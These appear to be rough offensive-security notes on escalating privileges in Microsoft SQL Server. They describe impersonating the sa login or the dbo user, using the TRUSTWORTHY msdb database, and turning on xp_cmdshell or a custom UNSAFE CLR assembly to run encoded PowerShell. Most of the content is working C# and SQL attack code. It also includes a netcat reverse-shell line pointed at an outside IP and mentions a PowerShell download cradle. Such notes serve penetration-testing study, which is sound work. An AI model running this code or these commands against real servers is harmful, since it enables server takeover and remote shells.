With sysadmin role membership, it's possible to obtain code execution on the Windows server hosting the SQL database. - if nothing found, try grap Get NTLMv2 hash of the service accounts
Impersonation
with PowerUpSQL
#OS admin to sysadmin via service account impersonation, then all PowerUpSQL commands can be run as a sysadmin.Invoke-SQLImpersonateService-Verbose -Instance MSSQLSRV04\BOSCHSQL
Only users with the explicit Impersonate permission are able to use impersonation. This permission is not part of the default set of permissions for most users, but database administrators may introduce misconfigurations that can lead to privilege escalation. This permission is implied for sysadmin for all databases, and db_owner role members in databases that they own.
If find that our unprivileged login can impersonate the sa login. This effectively gives us database server administrative privileges.
User Level - EXECUTE AS USER
Impersonation must have been granted to our user for a different user that has additional role memberships, preferably the sysadmin role.
A database user can only perform actions on a given database. This means that impersonation of a user with sysadmin role membership in a database does not necessarily lead to server-wide sysadmin role membership (default only sa = dbo to be server-wise sysadmin).
To fully compromise the database server, the database user we impersonate must be in a database that has the TRUSTWORTHY property set - msdb (the only native db that has this property, but custom databases may use it as well). The database owner (dbo) user has the sysadmin role on it.
Check which DB has such setting & its db owner, or turning it on
Custom Code Execution - TRUSTWORTHY (msdb)
If a database has the TRUSTWORTHY property set, it's possible to use the CREATE ASSEMBLY statement to import a managed DLL as an object inside the SQL server and execute methods within it.
Created a procedure with the custom assembly that executes commands, such that it can execute PowerShell reverse shell download cradle and run the shellcode without using native procedures.
Can also use nc.exe 192.168.119.120 443 -e cmd.exe for evasions. (need transfer to the linked server via the RCE first)
USE master;
GRANT IMPERSONATE ON LOGIN::sa to [domain\user];
GO;
USE msdb;
GRANT IMPERSONATE ON USER::dbo TO dbuser;
GO;
Check impersonation stat
USE msdb
SELECT DB_NAME() AS 'database'
,pe.permission_name
,pe.state_desc
,pr.name AS 'grantee'
,pr2.name AS 'grantor'
FROM sys.database_permissions pe
JOIN sys.database_principals pr
ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.database_principals pr2
ON pe.grantor_principal_id = pr2.principal_Id
WHERE pe.type = 'IM'
1) insert into Main
// Get logins that we can impersonate
String res = executeQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'; ", con);
Console.WriteLine($"[*] User can impersonate the following logins: {res}.");
2) insert into Main
// Impersonate sa login and get login information
String su = executeQuery("SELECT SYSTEM_USER;", con);
String un = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
String res = executeQuery("EXECUTE AS LOGIN = 'sa';", con); //modify to impersonate-able user resulted from 1)
// User level impersonate
//String res = executeQuery("use msdb; EXECUTE AS USER = 'dbo';", con);
Console.WriteLine($"[*] Triggered impersonation.");
su = executeQuery("SELECT SYSTEM_USER;", con);
un = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
if impersonate sa
// We can execute through 'xp_cmdshell' if impersonating sa, adding after the above
res = executeQuery("EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;", con);
Console.WriteLine("[*] Enabled 'xp_cmdshell'.");
String cmd = "powershell -enc KABOAEUAWAA=";
res = executeQuery($"EXEC xp_cmdshell '{cmd}'", con);
Console.WriteLine($"[*] Executed command! Result: {res}");
String su = executeQuery("SELECT SYSTEM_USER;", con);
String un = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
// Impersonate sa, loading and executing command through custom assemblies
String res = executeQuery("EXECUTE AS LOGIN = 'sa';", con);
// User level impersonate
//String res = executeQuery("use msdb; EXECUTE AS USER = 'dbo';", con);
Console.WriteLine("[*] Triggered impersonation.");
su = executeQuery("SELECT SYSTEM_USER;", con);
un = executeQuery("SELECT USER_NAME();", con);
Console.WriteLine($"[*] Current database login is '{su}' with system user '{un}'.");
res = executeQuery("use msdb; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', 1; RECONFIGURE; EXEC sp_configure 'clr strict security', 0; RECONFIGURE;", con);
Console.WriteLine("[*] Enabled CLR Integration and disabled CLR strict security.");
String dllhex = "0x4D5A900...";
res = executeQuery($"CREATE ASSEMBLY my_assembly FROM '{dllhex}' WITH PERMISSION_SET = UNSAFE;", con);
Console.WriteLine("[*] Created custom assembly with DLL.");
res = executeQuery($"CREATE PROCEDURE [dbo].[cmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly].[StoredProcedures].[cmdExec];", con);
Console.WriteLine("[*] Created procedure based on the custom DLL method.");
String cmd = "powershell -enc KABOAAWAA=";
res = executeQuery($"EXEC cmdExec '{cmd}';", con);
Console.WriteLine($"[*] Executed command!");